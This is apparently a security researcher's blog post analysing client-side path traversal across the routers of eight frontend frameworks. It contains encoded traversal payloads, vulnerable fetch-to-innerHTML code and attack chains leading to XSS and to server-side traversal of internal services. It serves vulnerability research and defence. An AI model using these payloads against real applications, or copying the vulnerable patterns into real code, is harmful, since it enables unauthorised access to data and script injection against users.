Client Side Path Traversal (CSPT) is my favorite gadget. It’s a client-side attack primitive that lets you bypass frontend route guards and control the location of the api call. It is a great primitive for CSRF. When chained with open redirect or a file upload bug, it can easily lead to XSS. When it works, it feels like magic.

When I first discovered this bug class, I became obsessed with it. I tested for it everywhere I could, even if I didn’t understand the framework or the backend. My testing strategy was to find a path that appeared to be dynamic (like /user/xssdoctor) and add a %2f, %5c, %252f, %255c etc. I would then look at the api calls and see if the encoded slash or backslash was decoded into a path traversal primitive. I would iterate on that with a %2f..%2f or %5c..%5c and so on.

But when it came time to do dynamic analysis and to try to figure out how it really worked, I had trouble. What exactly WAS the CSPT source? How was the dynamic path referenced? Why were the paths SOMETIMES url decoded and other times not?

I got far with this off-the-cuff testing, but I wanted to understand the root cause. So I set out to map the URL decoding pipelines of every major frontend framework. I wanted to see exactly where and how the traversal primitive was being created.

And after spending weeks reading router source code, building lab apps, testing encodings, and cross-referencing GitHub issues across React Router, Next.js, Vue Router, Angular, SvelteKit, Nuxt, Ember, and SolidStart. I can tell you this: the problem is universal, but the exploitation is framework-specific.

Let me walk you through what I found.

Some things to understand

Lets start with the browser. Modern browsers will normalize path traversal payloads. When “https://target.com/path/../second” is entered into the address bar, the browser will resolve the ../ before sending the request to the server. So the request that hits the wire is actually “https://target.com/second”. This is part of the URL specification and it’s not something that frameworks or servers can change. However, URL encoding can be used to bypass this normalization. For example, “https://target.com/path/%2E%2E/second” will be sent to the server as is, and the browser will not resolve the ../ because it’s encoded. Backslash will be normalised to forward slash in the browser. “https://target.com\path” will be normalized to “https://target.com/path” This is NOT the case in query parameters. If you have a URL like “https://target.com/search?q=../admin”, the ../admin is part of the query string and the browser does not normalize it. It will be sent to the server as “https://target.com/search?q=../admin”. This is an important distinction because it means that path traversal payloads can be used in query parameters without worrying about browser normalization, while in the path itself, you need to use encoding tricks to bypass the normalization.

Now let’s talk about frontend frameworks. In multi-page applications, the url path maps directly to a file on the server. So if you have a URL like “https://target.com/admin”, the server will look for a file called “admin.php” or “admin.html” and serve it. In single-page applications (SPAs) built with frontend frameworks, the url path is handled by the frontend router. The router takes the URL from the browser, extracts route parameters, and hands them to developer code.

The backend of these frameworks is often an API. The frontend makes fetch requests to the api and populates the page with the response. The frontend router is responsible for taking the URL, extracting parameters, and then those parameters are often used in API calls. If the router decodes the URL in a way that creates a traversal primitive, then that primitive can be used in the API call.

Client side path traversal occurs when the frontend router uses an element of the path directly and passes it into the fetch request. The question is: when does decoding happen, what gets decoded, and does it ever get re-encoded?

The Sources that we have to focus on are the path itself (/path), the query parameters (/?q=search), and the hash fragment (#section). Each of these can be decoded differently by the framework, and each has different implications for path traversal.

The “sink” is the api request, usually a fetch call. When a path traversal payload is passed into a fetch on the client side, it leads to client side path traversal. When a path traversal payload is passed into a fetch on the server side, it can lead to an even more dangerous scenario of secondary path traversal, potentially allowing access to internal resources.

Encoded path traversal payloads may be normalized on the front or the backend. For example, sending “/path/..%2Fadmin” may be decoded to “/path/../admin” by the frontend router, and then the browser will normalize it to “/admin” before sending the request. Alternatively, the frontend router might pass the encoded value through to the backend, which then decodes it and normalizes it. The exact behavior depends on the framework’s URL decoding pipeline.

So I built lab apps, compiled them, read the minified output, traced the decoding functions, and tested every encoding variant I could think of. Here’s the framework-by-framework breakdown.

Labs available here: https://github.com/xssdoctor/cspt_research

Paths

Lets start with the path itself. Specifically, lets think about how these frameworks handle dynamic path segments, like /users/:userId. When you navigate to /users/..%2Fadmin, does userId become ../admin? Does it stay as ..%2Fadmin? Does it become something else entirely?

Frontend Routers

React, vue, angular, ember, and solid are primarily front-end frameworks, so their routers run in the browser. Each use unique pipelines to parse these dynamic paths and allow the developer to reference them later.

React

React Router has the most well-documented decoding pipeline. Paths are handled through the useParams() Function on the client side. Here is the pipeline:

Browser URL (percent-encoded)
    ↓
decodePath()  -- per-segment decodeURIComponent, then re-encodes / back to %2F
    ↓
compilePath() -- builds regex for route matching
    ↓
matchPath()   -- extracts param values
    ↓
useParams()   -- returns fully decoded params

decodePath() at line 863 is explicitly an anti-CSPT defense. It decodes each segment, then re-encodes any slashes that appeared. This prevents %2F from creating new path segments during route matching.

Then matchPath() at line 811 undoes it:

memo[paramName] = (value || "").replace(/%2F/g, "/");

So /users/%2E%2E%2F%2E%2E%2Fadmin would result in "../../admin". In other words, when the developer requests the dynamic path, that path is already url decoded with slashes intact. If they interpolate that into a fetch URL, the traversal lands:

const { userId } = useParams();
fetch(`/api/users/${userId}/profile`);
// Browser sends: GET /admin/profile

React Router also had a documented double-decode bug (Issue #10814). The pipeline ran two separate decode stages, safelyDecodeURI in matchRoutes() then safelyDecodeURIComponent in matchPath(). So %252F would decode to %2F in the first stage, then to / in the second. Double-encoding bypass, built into the framework’s architecture.

They fixed it, sort of. Standardized on safelyDecodeURIComponent throughout. But the current pipeline still double-decodes through a different mechanism: decodePath() runs decodeURIComponent("%252F") producing "%2F", then line 811’s .replace(/%2F/g, "/") converts that to /. Instead of two calls to decodeURIComponent we now have decode plus string replace. Same outcome: %252F becomes / in your params. The fundamental design hasn’t changed. Params are fully decoded before your code sees them, because developers expect useParams() to return human-readable strings, not URL-encoded gibberish.

The overlong UTF-8 and Unicode homoglyph bypasses don’t work. decodeURIComponent is strict about UTF-8 validity, and React Router does zero Unicode normalization. But standard percent-encoding, double-encoding, mixed literal-plus-encoded, and null bytes all work fine.

Splat routes (path="files/*") are the most dangerous variant: params["*"] captures across / boundaries with a (.*) regex instead of the ([^\\/]+) used for named params. So ../../admin works with NO encoding tricks at all. The browser will still normalize the URL and resolve the ../, but the traversal primitive is right there in the param value.

Angular

Angular’s URL processing uses SEGMENT_RE = /^[^\/()?;#]+/ to match path segments. This regex treats %2F as three characters (%, 2, F), none of which are in the exclusion set, so %2F stays in a single segment during route matching.

But then decode() runs decodeURIComponent() on each segment AFTER the matching stage, BEFORE the value reaches paramMap. So developers see fully decoded values:

// URL: /users/..%2Fapi%2Fadmin
paramMap.get("userId"); // "../api/admin" (DECODED, slashes are real)

I tested this on Angular 21.2.1 in Chrome. URL /encoding-test/hello%2Fworld gave paramMap.get('testParam') = "hello/world". URL /encoding-test/..%2Fapi%2Fadmin gave "../api/admin".

This makes Angular more exploitable for %2F-based CSPT than React Router or Vue Router for regular dynamic params. In those frameworks, %2F can sometimes break route matching and return a 404. In Angular, the route matches AND the developer gets the decoded slash. The param flows straight through to HttpClient:

ngOnInit() {
  this.route.paramMap.pipe(
    switchMap(params => {
      const userId = params.get('userId');  // "../../admin" (decoded)
      const url = `/api/users/${userId}/profile`;
      return this.http.get(url);
    })
  ).subscribe(data => this.user = data);
}

Angular also has a non-obvious encoding behavior in router.navigate() that creates a differential between direct URL visits and programmatic navigation. When you pass a value containing % to router.navigate(), Angular’s encodeUriSegment() re-encodes it. % becomes %25. So router.navigate(['/path', '..%2Fadmin']) produces /path/..%252Fadmin in the URL bar. The encoding is not idempotent.

This creates a trap. A developer might reason: “I got ../../admin from queryParamMap, I’ll pass it to router.navigate() to redirect the user.” But router.navigate() encodes the value as a path segment, turning ../../admin into ..%2F..%2Fadmin in the URL. The traversal doesn’t happen through navigate. It happens at the HttpClient sink, where the decoded query param is interpolated directly into a fetch URL before any re-encoding occurs. But router.navigate([redirect]) where redirect comes from a decoded queryParamMap does let an attacker control navigation. That’s an open redirect.

The ** wildcard route deserves a note. Unlike React Router’s splat (*), Angular’s wildcard does not capture sub-paths in a named param. Developers must use router.url (which preserves encoding) or manually parse the URL (which usually means calling decodeURIComponent themselves). The wildcard is architecturally safer than React’s splat for CSPT, but manual URL parsing immediately re-introduces the vulnerability.

Vue

Vue Router v4 is the framework I’d prioritize if I’m hunting for CSPT on a target.

Vue Router maintains two views of every URL, and they have opposite encoding:

const route = useRoute();

// URL: /product/..%2f..%2fadmin
route.params.productId; // "../../admin"  (DECODED, slashes are real)
route.path; // "/product/..%2f..%2fadmin"  (ENCODED, raw)

This isn’t a bug. It’s a documented design decision. The Vue Router maintainers confirmed in Issue #2953 that slashes are URL separators and must be encoded, but %2F in params arrives decoded because route.params runs through decodeParams() which applies decodeURIComponent().

There’s also a router.push() encoding asymmetry that creates confusion. With a string path, the input is passed through parseURL() as-is. So router.push('/users/../../admin') navigates with literal ../, and the browser resolves the traversal. But with a params object, Vue auto-encodes via encodeParams(). So router.push({ name: 'user', params: { userId: '../../admin' } }) encodes to /users/..%2F..%2Fadmin, which is safe at the navigation level but still decodes back to ../../admin in route.params.

Catch-all routes (/:pathMatch(.*)*) return an array, but the split behavior is important. Only literal / characters create array splits. If you use %2F, it decodes to / inside a single array element, not as a separator. So /files/..%2F..%2Fadmin gives pathMatch = ["../../admin"] (one element), while /files/../../admin gives pathMatch = ["..","..","admin"] (three elements). Either way, .join('/') produces the same traversal string.

Ember

Ember’s decoding pipeline has a key intermediate step that no other framework uses: normalizePath(). Before route matching, every URL segment runs through this function:

// route-recognizer.es.js:100
function normalizePath(path) {
  return path.split("/").map(normalizeSegment).join("/");
}

function normalizeSegment(segment) {
  if (segment.length < 3 || segment.indexOf("%") === -1) return segment;
  return decodeURIComponent(segment).replace(/%|\//g, encodeURIComponent);
}

This splits on /, applies decodeURIComponent() to each segment, then re-encodes only % and / back. So %2e%2e (encoded dots) becomes .. and stays as ... But %2f (encoded slash) becomes / and gets re-encoded back to %2F. The normalization preserves dots but neutralizes slashes for the purpose of route matching.

Then comes findHandler(), which extracts the matched capture groups. For dynamic :param segments, it applies decodeURIComponent() again. For star *param segments, it skips this final decode. This creates two completely different exploitation profiles:

// route-recognizer.es.js:412
for (var j = 0; j < names.length; j++) {
  var capture = captures[currentCapture++];
  if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS && shouldDecodes[j]) {
    params[name] = capture && decodeURIComponent(capture);
  } else {
    params[name] = capture;
  }
}

shouldDecodes[j] is true for dynamic segments, false for star segments. Two segment types, two decoding behaviors, in the same function.

For dynamic :param routes, here’s the trace. URL /users/..%2fadmin:

1. normalizePath splits on /: ["", "users", "..%2fadmin"]
2. normalizeSegment("..%2fadmin"):
   decodeURIComponent("..%2fadmin") → "../admin"
   re-encode % and /: "../admin" → "..%2Fadmin"
3. Reassembled: "/users/..%2Fadmin"
4. Regex ([^/]+) matches "..%2Fadmin" (no literal slash)
5. findHandler decodes: decodeURIComponent("..%2Fadmin") → "../admin"
6. params.user_id = "../admin"

The traversal payload is delivered. And %2e%2e%2f works identically because normalizePath decodes the dots to .. and the slash gets re-encoded, producing the same ..%2Fadmin intermediate form.

Double-encoding does NOT work in Ember. Here’s why: %252f decodes to %2f during normalization, but then the % in %2f gets re-encoded back to %25 by the .replace(/%|\//g, encodeURIComponent) step, producing %252f again. The segment is back to its original form. findHandler then decodes %252f to %2f — a literal string, not a slash. The normalizePath function’s % re-encoding actually prevents the double-decode attack that works in React Router. This is an accidental defense: the same re-encoding that preserves slashes also preserves the % character, making the normalization idempotent for double-encoded values.

For wildcard *param routes, the picture is different. The regex (.+) captures everything including literal /. So /docs/../../etc/passwd matches and params.doc_path gets "../../etc/passwd" with no encoding tricks needed. But since star segments skip the final decodeURIComponent, %2f in a wildcard stays encoded in the param value. The effective payload for wildcard routes is literal ../, not %2f.

The overlong UTF-8 and Unicode homoglyph bypasses don’t work. decodeURIComponent rejects invalid UTF-8, and there’s no NFKC normalization anywhere in the pipeline.

SolidStart

SolidStart is the one framework that got this right by accident. Not because the team built anti-CSPT defenses, not because they analyzed the attack surface, but because @solidjs/router simply never calls decodeURIComponent on route params. The router’s createMatcher() stores raw URL segments as-is, and that one missing function call makes it the most resistant framework to encoded path traversal I tested.

The createMatcher() function in @solidjs/router splits location.pathname on / and stores each segment directly into the params object:

// @solidjs/router utils.js:50
return (location) => {
  const locSegments = location.split("/").filter(Boolean);
  for (let i = 0; i < len; i++) {
    const segment = segments[i];
    const dynamic = segment[0] === ":";
    const locSegment = dynamic ? locSegments[i] : locSegments[i].toLowerCase();
    if (dynamic && matchSegment(locSegment, matchFilter(key))) {
      match.params[key] = locSegment; // RAW segment, NO decoding
    }
  }
};

Navigate to /users/..%2f..%2fadmin and params.userId returns "..%2f..%2fadmin". The %2f is still %2f. The dots are still %2e%2e if you encoded them. Nothing has been decoded. If the developer interpolates that into a fetch URL, the browser sends the encoded string to the server, which sees %2f not /. No traversal.

I verified this in Chrome with a SolidStart lab app. /encoding-test/hello%2Fworld gave params.testParam = "hello%2Fworld". /encoding-test/%2E%2E%2Fapi%2Fadmin gave params.testParam = "..%2Fapi%2Fadmin". The dots decoded (browsers decode %2E in the pathname), but the slashes stayed encoded. That’s the critical difference from React Router, where both dots and slashes decode.

There are only two decodeURI/decodeURIComponent calls in the entire @solidjs/router codebase. One is in the <A> component for active link CSS class matching. The other is for scroll-to-hash. Neither is in the routing or param extraction pipeline.

Catch-all routes ([...path]) are the exception. The catch-all captures remaining segments joined with /: locSegments.slice(-lenDiff).join("/"). These slashes are real, they came from the URL path itself. Navigate to /files/a/b/c and params.path = "a/b/c". But here’s the thing: literal ../ in the URL path gets resolved by the browser before JavaScript sees it. /files/../../admin becomes /admin in window.location.pathname. The route won’t even match /files/*path. And encoded ../ (..%2f..%2fadmin) stays encoded in the joined string, so the catch-all gives you "..%2f..%2fadmin" as a single segment, not a traversal.

This is a fundamentally different encoding posture than every other framework. React Router, Vue Router, Angular, and Ember all decode params before your code sees them. SolidStart doesn’t.

Hybrid Cases

Nextjs, Nuxt and SvelteKit are hybrid frameworks that run code on both the client and the server. This creates multiple decoding contexts, which can lead to unexpected vulnerabilities if you’re not careful.

Next.js

The first thing to understand about Next.js is that routing starts out on the server. When you navigate to a URL, the server matches it to a page component, runs getServerSideProps() if it exists, and sends the rendered HTML to the client. The client then hydrates that HTML and takes over routing for subsequent navigations. This means initial URL parsing and param extraction happens on the server, not in the browser.

Next.js has two separate routing systems: the App Router and the Pages Router. The App Router is the new system that uses React Server Components and file-based routing. The Pages Router is the older system. Both have their own decoding pipelines, but the App Router is where the interesting behavior lives. More on that later.

Next.js App Router has a function called getParamValue() (in next/dist/shared/lib/router/utils/get-dynamic-param.js) that re-encodes parameters before passing them to page and layout components. If you navigate to /files/thepath%2fbooya, a page component gets thepath%2Fbooya back. The slash is re-encoded. Traversal is neutralized. On the client side, useParams() behaves the same way. Re-encoded, safe.

Nuxt

Nuxt is built on Vue Router, so I expected the client-side behavior to be identical. It is. What makes Nuxt interesting is everything that happens around Vue Router: the server-side H3 layer, the island component system, and the split personality between client and server param decoding.

On the client side, Nuxt inherits Vue Router’s decoding pipeline exactly. useRoute().params values pass through Vue Router’s decodeParams(), which applies decodeURIComponent() to every matched parameter. Navigate to /users/..%2F..%2Fadmin and route.params.id returns "../../admin". The slashes are real. The dots are real. Everything I described in the Vue Router section applies here without modification.

The server side is a different story. Nuxt’s server routes run on H3/Nitro, which has its own param extraction via radix3. The critical function is getRouterParam():

// h3/dist/index.mjs:252
function getRouterParams(event, opts = {}) {
  let params = event.context.params || {};
  if (opts.decode) {
    params = { ...params };
    for (const key in params) {
      params[key] = decode(params[key]);
    }
  }
  return params;
}

getRouterParam(event, 'id') does NOT decode by default. The decode option must be explicitly passed as { decode: true }. Without it, %2F stays as %2F. This is genuinely safer than Vue Router’s client-side behavior, where decoding is unconditional.

But the safety is opt-out fragile. The moment a developer writes getRouterParam(event, 'id', { decode: true }), or manually calls decodeURIComponent() on the raw param, the traversal is live. And H3’s own documentation shows examples with the decode option enabled.

Catch-all routes (pages/files/[...slug].vue) compile to Vue Router’s (.*) pattern on the client and radix3’s ** wildcard on the server. On the client, catch-all params return an array of decoded segments. /files/..%2Fbooya/kasha gives route.params.slug = ["../booya", "kasha"]. Joining that array with / produces "../booya/kasha". On the server, event.context.params._ or event.context.params.path returns the raw matched path string without decoding.

Svelte

SvelteKit decodes params through a two-stage pipeline, and unlike Next.js, there is no re-encoding before your code sees them. The result is that %2F in a URL path becomes a real / in your params. This makes SvelteKit exploitable from path params, more like React Router and Vue Router than Next.js.

The decoding chain has two stages:

Browser URL (percent-encoded)
    ↓
decode_pathname() -- splits on %25, applies decodeURI() per segment
    ↓
Route regex match -- ([^/]+?) for single params, ([^]*) for catch-all
    ↓
decode_params()   -- applies decodeURIComponent() to each param value
    ↓
params.userId     -- fully decoded, slashes are real

The key is the two-stage decode. decode_pathname() uses decodeURI(), which does NOT decode /, ?, #, &, =, +. So %2F stays as %2F during route matching. The regex ([^/]+?) sees three literal characters %, 2, F, not a slash. The route matches. Then decode_params() runs decodeURIComponent(), and %2F becomes /. By the time the developer’s code sees the param, the slash is real.

Navigate to /users/..%2Fadmin%2Fsecrets, and params.userId returns "../admin/secrets". If the developer interpolates that into a fetch:

// +page.ts (universal load function)
export async function load({ params, fetch }) {
  const res = await fetch(`/api/users/${params.userId}/profile`);
  // fetch URL: /api/users/../admin/secrets/profile
  // Browser resolves: GET /api/admin/secrets/profile
  return { user: await res.json() };
}

This is true CSPT. The traversal happens at the fetch layer, not on the server. On client-side navigation, the browser’s native fetch() resolves the ../ before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.

The one area where SvelteKit IS genuinely more secure than React Router is double-encoding. decode_pathname() splits on %25 (encoded %) before decoding, which prevents %252F from round-tripping to /. Here’s the trace:

Input: %252F
Split on %25: ["", "2F"]
decodeURI("") → ""
decodeURI("2F") → "2F"
Rejoin with %25: "%252F"
decode_params("%252F") → "%2F"  (string literal, NOT a slash)

React Router’s pipeline converts %252F to / through its decode-then-replace mechanism. SvelteKit’s %25-split was introduced specifically to fix a documented double-decode bug (Issue #3069), where this.parse(url) decoded the URL first, then decodeURIComponent() ran again during param extraction. Fixed in v1.0.0-next.385.

Catch-all routes ([...path]) have a unique quirk in SvelteKit: they return a string, not an array. /files/a/b/c gives params.path = "a/b/c". Vue Router returns ["a", "b", "c"]. The string form means no .join('/') is needed. Traversal sequences work natively when interpolated into fetch URLs.

Query Parameters

Query parameters are a rich cspt attack surface that often gets overlooked. They don’t have the same segment boundary protections as path params, and many frameworks decode them fully before your code sees them. Query params have a bigger attack surface than path params because there’s no segment splitting. The entire value arrives as one decoded string. And since query params don’t trigger browser path normalization, you can use literal ../ without any encoding at all: /dashboard/stats?widget=../../attachments/malicious works just fine. However, encoding may help with waff bypasses or other filters that look for traversal patterns.

React

useSearchParams() returns decoded values. The browser handles the decoding before JavaScript sees the value, so ?widget=..%2F..%2Fattachments%2Fmalicious gives you widget = "../../attachments/malicious". There is no re-encoding, no sanitization, nothing between the decoded value and your code.

Query parameters are actually a bigger attack surface than path params for one reason: there’s no segment boundary. With path params, the router splits on / first, so your payload has to survive inside a single segment. With query params, there’s no splitting at all. The entire value ../../api/internal/users lands as one decoded string, slashes and all. You don’t need any encoding tricks either, because the browser doesn’t normalize ../ in query strings the way it does in paths.

Next.js

useSearchParams() on the client side returns decoded values. Navigate to /dashboard/stats?widget=../../attachments/malicious and searchParams.get("widget") returns "../../attachments/malicious". The slashes are real. The dots are real.

This is the one area where Next.js page components ARE vulnerable to client-side CSPT. The path param re-encoding defense only applies to path params accessed through await params or useParams(). Query params go through the browser’s standard URLSearchParams, which decodes everything. If a developer reads a query param and interpolates it into a fetch URL, the traversal works exactly the same as in React Router.

Vue

route.query is decoded the same way as route.params. Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and route.query.widget returns "../../attachments/malicious". The %2F has been decoded to a real slash.

angular

Query parameters are an even bigger CSPT surface in Angular than path params. The router decodes them via decodeQuery(), which replaces + with %20 then calls decodeURIComponent. Query values are matched by /^[^&#]+/. They stop at & or # but NOT at /. So ?path=../../admin flows through without any segment splitting to worry about.

This is significant because path params at least have the segment-matching stage as a gate. Angular splits on literal / first, so your payload has to survive inside a single segment. Query params have no such constraint. The entire value ../../api/internal/users lands in queryParamMap.get('path') as one decoded string, slashes and all.

Svelte

url.searchParams in SvelteKit load functions is standard URLSearchParams, which means it decodes everything. ?widget=..%2Fattachments%2Fmalicious gives you "../attachments/malicious". The %2F has been decoded to a real slash.

On the client side, $page.url.searchParams.get('widget') behaves the same way. Decoded. Slashes are real. No segment boundary constraints. And since query params don’t trigger browser path normalization, literal ../ works without encoding.

Nuxt

useRoute().query on the client side is decoded by Vue Router’s parseQuery(). Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and route.query.widget returns "../../attachments/malicious". Same as standalone Vue Router. One quirk: + is NOT converted to a space. Vue Router treats + as a literal character, unlike the standard URLSearchParams behavior.

On the server side, H3’s getQuery(event) uses the ufo library, which does decode query values. So ?widget=..%2Fadmin gives { widget: "../admin" } on both client and server. Query params are decoded everywhere in Nuxt.

Ember

Query parameters in Ember are declared on the route or controller via the queryParams property. They arrive in the model(params) hook alongside path params. Route-recognizer strips the query string before route matching and parses it separately. The values are decoded by the browser’s standard query parsing.

Navigate to /dashboard/stats?period=../../admin and params.period returns "../../admin". The traversal is in the decoded value. Like every other framework, query params have no segment boundary constraint, so the full traversal string lands as one value.

SolidStart

useSearchParams() returns values decoded by the browser’s standard URLSearchParams, which calls decodeURIComponent on every value per spec. Navigate to /dashboard/stats?source=..%2f..%2fadmin and searchParams.source returns "../../admin". The slashes are real.

This is the primary CSPT vector in SolidStart. Path params are safe because the router doesn’t decode them. Query params are decoded because the browser API does it, and the router can’t prevent that. The attack surface shifts entirely from paths to query strings.

Hash

window.location.hash is the simplest source. The browser never encodes or decodes the hash fragment. Whatever you put after the # is exactly what JavaScript sees. Navigate to /dashboard/settings#../../admin/users and window.location.hash.slice(1) gives you "../../admin/users". No encoding tricks needed.

const apiService = {
  get: (path) => fetch(`/api${path}`).then((r) => r.json()),
};

const hash = window.location.hash.slice(1);
apiService.get(hash);
// fetch("/api../../admin/users") → browser resolves to GET /admin/users

The Sink

When we talk about the sink, we’re usually talking about fetch(), but it could be any function that takes a URL or path and makes a request. The key point is that if the decoded value from the URL gets interpolated directly into a fetch URL, the browser will resolve any ../ sequences before sending the request. This is true for both client-side navigation and server-side rendering contexts. If a path traversal payload reaches client-side fetch, this leads to CSPT, if it reaches server-side fetch, it can lead to secondary-context path traversal.

React

The sink in React Router apps is almost always fetch() or a library wrapper around it like Axios. The decoded param gets interpolated into a template literal, and the browser resolves the ../ before sending the request.

The most dangerous combination is when the fetch response flows into dangerouslySetInnerHTML. This turns CSPT into XSS. If the attacker can control what endpoint the fetch hits, and that endpoint returns HTML (like a user-uploaded attachment), then the HTML gets rendered directly into the DOM:

const [params] = useSearchParams();
const widget = params.get("widget");
fetch(`/api/widgets/${widget}`)
  .then((r) => r.text())
  .then(setHtml);

// later in JSX:
<div dangerouslySetInnerHTML={{ __html: html }} />;

Navigate to /dashboard/stats?widget=../../attachments/malicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If that attachment is an HTML file the attacker uploaded, you’ve got stored XSS through CSPT.

The only safe source in React Router is useLocation().pathname, which preserves %2F encoding. Everything else decodes.

Next.js

Unlike getParamValue, await params has split behavior depending on where you call it. Page components, layout components, and useParams() all go through getParamValue(), which re-encodes. Route handlers skip that function entirely. In a route handler, await params receives decoded values directly from getRouteMatcher(), which does match.split('/').map(decode). The framework uses the same API in both contexts but applies completely different encoding behavior under the hood. The same API name, two opposite behaviors.

Why does this matter? Because the common Next.js pattern is a page component that reads params and passes them to a client component, which fetches to a route handler. The page component does nothing wrong. It doesn’t decode anything. But the re-encoded %2F in the fetch URL gets sent to the route handler, and the route handler’s await params decodes it automatically before the developer’s code ever touches it. The developer never opted into decoding. It’s just how route handler param parsing works.

Here’s the attack chain:

1. Attacker navigates to:
   /cspt-await-params/docs/getting-started/..%2F..%2Finternal%2Fcredentials

2. Page server component reads await params:
   path = ["docs", "getting-started", "..%2F..%2Finternal%2Fcredentials"]
   // Re-encoded. %2F stays %2F, safe at this layer

3. Page joins and passes to client component:
   filePath = "docs/getting-started/..%2F..%2Finternal%2Fcredentials"

4. Client component fetches:
   fetch(`/api/content/${filePath}`)
   // Browser sends: GET /api/content/docs/getting-started/..%2F..%2Finternal%2Fcredentials

5. Route handler reads await params:
   path = ["docs", "getting-started", "..", "..", "internal", "credentials"]
   // DECODED. %2F became / and split into separate array elements

6. Route handler joins:
   path.join("/") → "docs/getting-started/../../internal/credentials"
   // Path traversal is now live

This is not client side path traversal. This is secondary context path traversal. The encoded path is sent to the server, which decodes it and passes the decoded value into a backend fetch. This is potentially more impactful because the server often has access to internal resources that the client does not. If the route handler is fetching from an internal API or reading from the filesystem, the traversal primitive could reach sensitive data.

// app/api/content/[...path]/route.ts
export async function GET(request, { params }) {
  const { path } = await params;
  // path is ALREADY decoded: ["docs", "getting-started", "..", "..", "internal", "credentials"]
  const fullPath = path.join("/");
  // "docs/getting-started/../../internal/credentials"
  return fetch(`https://backend.internal/${fullPath}`);
}

Vue Router

The result is the most exploitable param-to-fetch pipeline of any framework:

const route = useRoute();
const { data } = useFetch("/api/products/" + route.params.productId);
// fetch goes to /api/products/../../admin → /api/admin

The most dangerous pattern is when the fetched response flows into v-html, which is Vue’s equivalent of React’s dangerouslySetInnerHTML. This turns CSPT into XSS:

// query param decoded: widget = "../../attachments/malicious"
const url = `/api/widgets/${widget}`;
const res = await fetch(url);
const data = await res.json();
// v-html renders data.body directly into the DOM

Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If the attacker uploaded an HTML file as an attachment, v-html renders it and the script executes.

The only safe sources in Vue Router are route.path and route.fullPath, which preserve %2F encoding. Everything else decodes.

Angular

The sink in Angular apps is HttpClient.get() (or .post(), .put(), etc.). The decoded param gets interpolated into the URL string, and the browser resolves the ../ before sending the request.

The most dangerous combination is when the HttpClient response flows into [innerHTML] with bypassSecurityTrustHtml(). Angular sanitizes [innerHTML] by default, but bypassSecurityTrustHtml() explicitly disables that protection. This is Angular’s equivalent of React’s dangerouslySetInnerHTML, and it turns CSPT into XSS the same way.

The only safe Angular source for URL-derived values is router.url.

SvelteKit

On client-side navigation, the browser’s native fetch() resolves the ../ before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.

But the real escalation in SvelteKit is +page.server.ts. Server-only load functions execute with internal network access and can reach services the client cannot:

// src/routes/data/[dataId]/+page.server.ts
export const load = async ({ params }) => {
  const dataId = params.dataId; // decoded, traversal payload arrives here
  const doc = await fetch(`http://internal-service.local/data/${dataId}`);
  return { data: await doc.json() };
};

This is secondary context path traversal, analogous to Next.js route handlers. The fetch goes directly to the internal service. It does NOT pass through hooks.server.ts. So even if you have auth middleware in your hooks, a traversal from a server load function bypasses it entirely.

The most dangerous client-side combination is when the fetch response flows into {@html}, which is SvelteKit’s equivalent of dangerouslySetInnerHTML. CSPT plus {@html} equals XSS, same as in React and Vue.

SvelteKit’s param matcher defense is the best I’ve seen in any framework:

// src/params/id.ts
export function match(param: string): boolean {
  return /^[a-zA-Z0-9-_]+$/.test(param);
}
// Usage: src/routes/user/[id=id]/+page.svelte

If the param doesn’t match the pattern, the entire route fails to match. Traversal payloads get rejected at the routing level, before any load function executes. It’s opt-in, not default, but when used, it’s the strongest framework-level defense available. No other framework offers route-level param validation that prevents the load function from even running.

Nuxt

The primary client-side sink is useFetch() and $fetch(). Nuxt’s data-fetching composables pass the URL string directly to globalThis.$fetch with zero sanitization:

// nuxt/dist/app/composables/fetch.js:64
return _$fetch(_request.value, { signal, ..._fetchOptions });

The standard CSPT pattern:

// pages/users/[id].vue
const route = useRoute();
const { data } = useFetch(`/api/users/${route.params.id}`);
// route.params.id = "../../admin" (decoded by Vue Router)
// fetch URL: /api/users/../../admin
// Browser resolves: GET /api/admin

Multi-param routes double the attack surface. /shop/..%2F..%2Fadmin/..%2Fusers gives route.params.category = "../../admin" and route.params.productId = "../users". A fetch to /api/shop/${category}/products/${productId} resolves to /api/admin/users.

The server-side sink is where Nuxt diverges from standalone Vue. Server routes under server/api/ execute with full network access and can reach internal services. The common proxy pattern is the most dangerous:

// server/api/proxy/[...path].ts
const path = event.context.params?.path || "";
return $fetch(`https://backend.internal/${path}`);

Even without explicit decoding, if the backend normalizes the URL, the traversal can land. And if the developer adds { decode: true } to getRouterParam(), the traversal is fully decoded before reaching the internal fetch. This once again opens the door for secondary context path traversal

The most dangerous client-side combination is v-html with an API response that the attacker controls via CSPT:

// pages/dashboard/stats.vue
const route = useRoute();
const widget = route.query.widget;
const { data: widgetHtml } = useFetch(`/api/widgets/${widget}`);
// template: <div v-html="widgetHtml" />

Navigate to /dashboard/stats?widget=../../attachments/malicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If the attacker uploaded HTML as an attachment, v-html renders it. CSPT to XSS, same as in standalone Vue.

Nuxt also has a unique attack surface that no other framework shares: island component payload revival. The revive-payload.client.js plugin deserializes island data from the window.__NUXT__ payload and fetches component data using a key from that payload:

// revive-payload.client.js:20
nuxtApp.payload.data[key] ||= $fetch(`/__nuxt_island/${key}.json`, {
  responseType: "json",
  ...(params ? { params } : {}),
});

If an attacker can poison the payload (via cache poisoning, stored injection, or MITM on the initial HTML), the key can traverse the $fetch URL to any same-origin endpoint. The .json suffix gets appended, but a query parameter absorbs it: key = "../../api/proxy/attacker.com?x=" produces $fetch("/__nuxt_island/../../api/proxy/attacker.com?x=.json"), which resolves to /api/proxy/attacker.com?x=.json. This is stored CSPT. The payload is set once, and every client that loads the page fires the traversed fetch. This was assigned CVE-2025-59414.

The safe sources in Nuxt are route.path and route.fullPath on the client (which preserve %2F encoding), and getRouterParam() without the decode option on the server.

Ember

The primary sink in Ember is fetch() in the model hook. This is the standard pattern in every Ember app:

// app/routes/user.js
export default class UserRoute extends Route {
  model(params) {
    return fetch(`/api/users/${params.user_id}`).then((r) => r.json());
  }
}
